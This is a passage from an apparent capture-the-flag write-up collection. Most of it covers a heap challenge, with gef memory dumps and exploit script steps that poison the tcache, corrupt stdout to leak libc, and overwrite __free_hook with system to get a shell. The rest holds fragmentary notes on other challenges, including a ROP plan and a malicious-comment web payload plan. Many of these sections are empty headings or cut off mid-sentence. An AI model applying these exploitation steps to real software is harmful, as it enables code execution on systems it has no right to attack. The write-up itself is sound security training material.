function, then it will delete the 11th and 12th struct and initiate tcache poisoning for the tcache struct to return the gamelist[1]
struct.
gef➤ x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000 0x00005577108f9010
0x5577108f92b0: 0x0000000000000000 0x00000000000000a1
0x5577108f92c0: 0x00007f18a35f16c8 0x0000000000000000
0x5577108f92d0: 0x0000000000000000 0x0000000000000021
0x5577108f92e0: 0x0000000000000000 0x00005577108f9010
0x5577108f92f0: 0x0000000000000000 0x0000000000000021
0x5577108f9300: 0x00005577108f9010 0x0000000000000000
0x5577108f9310: 0x0000000000000000 0x0000000000000021
0x5577108f9320: 0x0000000000000000 0x0000000000000000
0x5577108f9330: 0x0000000000000000 0x0000000000000021
0x5577108f9340: 0x0000000000000000 0x0000000000000000
0x5577108f9350: 0x00000000000000a0 0x0000000000000020
0x5577108f9360: 0x0000000000000001 0x00005577108f9010
0x5577108f9370: 0x0000000000000000 0x0000000000000021
0x5577108f9380: 0x00000000fbad2887 0x00005577108f9010
0x5577108f9390: 0x0000000000000000 0x0000000000000021
0x5577108f93a0: 0x00005577108f92c0 0x0000000000000000
....
Then we modify the value of the gamelist[1]
to point to the _IO_2_1_stdout_->_IO_write_ptr
and make it larger than the _IO_2_1_stdout_->_IO_write_base
.
```gef➤ x/24gx &gamelist
0x55770e903080 <gamelist>: 0x00005577108f92a0 0x00005577108f92c0
0x55770e903090 <gamelist+16>: 0x00005577108f92e0 0x00005577108f92c0
0x55770e9030a0 <gamelist+32>: 0x00005577108f92b0 0x00005577108f9300
0x55770e9030b0 <gamelist+48>: 0x00005577108f9300 0x00005577108f9010
0x55770e9030c0 <gamelist+64>: 0x00005577108f9320 0x00005577108f9340
0x55770e9030d0 <gamelist+80>: 0x00005577108f9360 0x00005577108f9380
0x55770e9030e0 <gamelist+96>: 0x00005577108f93a0 0x00005577108f93c0
0x55770e9030f0 <gamelist+112>: 0x00005577108f93e0 0x00005577108f9400
0x55770e903100 <gamelist+128>: 0x00005577108f92c0 0x00007f18a35f16a0
0x55770e903110 <gamelist+144>: 0x00005577108f93a0 0x00005577108f92c0
0x55770e903120 <gamelist+160>: 0x00007f18a35f16c8 0x0000000000000000
0x55770e903130 <gamelist+176>: 0x0000000000000000 0x0000000000000000
This will be achieved by the following code,
sla(b"Enter your choice: ",b"2")
sla(b"Enter the # of the game you want to resume playing: ",b"20")
sla(b"Enter your choice: ",b"1")
sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
sla(b"Enter how many points do you wish to add to the scoreboard: ",b"48")
This increments the value of _IO_2_1_stdout_->_IO_write_ptr
so that it is more than _IO_2_1_stdout_->_IO_write_base
. Now we should get a libc leak whenever puts gets called.
Let's parse out this leak and get the libc base.
libc.address=libc_leak-0x1ee7e0
print(f"Leaked Libc address: {hex(libc.address)}")
Next, we need to perform tcache poisoning one last time to overwrite the __free_hook
with the address of system,
resume_dlt(13)
resume_dlt(14)
win(7)
deleted_score(7,-0x93)
deleted_score(13,0x1725)
create()# game[21]
create()# game[22]
create()# game[23] -> free_hook
win(0)
deleted_score(0,29400045130965551-0x96)
win(23)
print(f"address of system: {hex(libc.symbols['system']-0x96)}")
deleted_score(23,libc.symbols['system']-0x96)
resume_dlt(0)
Executing the script, we get the shell!!!
iv. Bigollo Encryption
Initial Analysis
v. Baby Fox
vi. Task List
The big Idea is to create a job -> ROP to leak the libc addresses of 2 functions[24 bytes (pop rdi + got address of function + puts@plt)] -> determine the libc version, calculate the base and the address of system function -> call the main function again [extra 8 bytes in the overflow] -> edit task to overwrite the sscanf of
difference b/w system unix ts and actual system unix ts = system+14436
vii. Task Assignment
viii. Damn\.com
First we will send a malicious comment which will contain our entire payload
admin will visit it
we wait for a few seconds
submit the import blog form with
ix. Breaking Bad Cryptography
Breaking Bad Cryptography
Curve parameters --> Replace the next three lines with given values
Define curve
Replace the next two lines with given values
x. Rock-Paper-Scissors
we need to create these chunks so that the